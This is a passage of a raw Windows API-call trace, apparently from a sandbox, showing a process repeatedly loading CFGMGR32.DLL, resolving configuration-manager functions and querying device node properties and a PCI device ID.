lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.102] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.102] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.102] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.102] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.102] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.102] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.103] malloc (_Size=0x18) returned 0x196ef0d1d60 [0230.103] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0230.106] malloc (_Size=0x48) returned 0x196ef0fb860 [0230.106] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a01757d, dwHighDateTime=0x1d9eb0c)) [0230.106] SetEvent (hEvent=0x248) returned 1 [0230.109] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.110] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.110] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.113] malloc (_Size=0x18) returned 0x196ef0d1e60 [0230.113] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0230.113] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0230.113] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a03cf8b, dwHighDateTime=0x1d9eb0c)) [0230.113] SetEvent (hEvent=0x248) returned 1 [0230.116] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.116] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.117] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.118] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.119] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.120] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0230.120] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0230.120] malloc (_Size=0x48) returned 0x196ef0fbfe0 [0230.120] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a03cf8b, dwHighDateTime=0x1d9eb0c)) [0230.121] SetEvent (hEvent=0x248) returned 1 [0230.123] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.123] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.124] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.125] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.126] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.127] malloc (_Size=0x18) returned 0x196ef0d1da0 [0230.127] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0230.127] malloc (_Size=0x48) returned 0x196ef0fbdb0 [0230.127] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a06348e, dwHighDateTime=0x1d9eb0c)) [0230.127] SetEvent (hEvent=0x248) returned 1 [0230.132] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.132] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.132] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.132] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.133] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.134] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.135] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.135] malloc (_Size=0x18) returned 0x196ef0d1ce0 [0230.135] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0230.189] malloc (_Size=0x48) returned 0x196ef0fb540 [0230.189] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a0fbba2, dwHighDateTime=0x1d9eb0c)) [0230.189] SetEvent (hEvent=0x248) returned 1 [0230.192] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.192] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.193] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.195] malloc (_Size=0x18) returned 0x196ef0d1a80 [0230.196] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0x32, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0230.196] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0230.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x6a0fbba2, dwHighDateTime=0x1d9eb0c)) [0230.196] SetEvent (hEvent=0x248) returned 1 [0230.200] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.200] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.200] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.201] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.203] malloc (_Size=0x18) returned 0x196ef0d1d60 [0230.204] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0x32, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0230.204] malloc (_Size=0x48) returned 0x196ef0fc170 [0230.204] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x6a121e9e, dwHighDateTime=0x1d9eb0c)) [0230.204] SetEvent (hEvent=0x248) returned 1 [0230.207] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.207] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.207] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.207] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.208] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.209] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.210] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.210] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0230.210] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x32, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0230.211] malloc (_Size=0x48) returned 0x196ef0fbea0 [0230.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6a121e9e, dwHighDateTime=0x1d9eb0c)) [0230.211] SetEvent (hEvent=0x248) returned 1 [0230.215] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0230.215] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0230.215] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0230.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0230.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0230.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0230.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0230.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0230.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0230.216] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0230.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0230.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0230.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0230.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0230.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0230.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0230.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0230.217] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0230.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0230.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0230.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0230.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0230.218] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0230.218] malloc (_Size=0x18) returned 0x196ef0d1f60 [0230.218] CM_Get_Device_IDA (in: dnDevInst=0x33, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="PCI\\VEN_8086&DEV_293A&SUBSYS_11001AF4&REV_03\\3&11583659&0&10") returned 0x0 [0230.219] malloc (_Size=0x48) returned 0x196ef0fb900 [0230.219] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x6a147f4e, 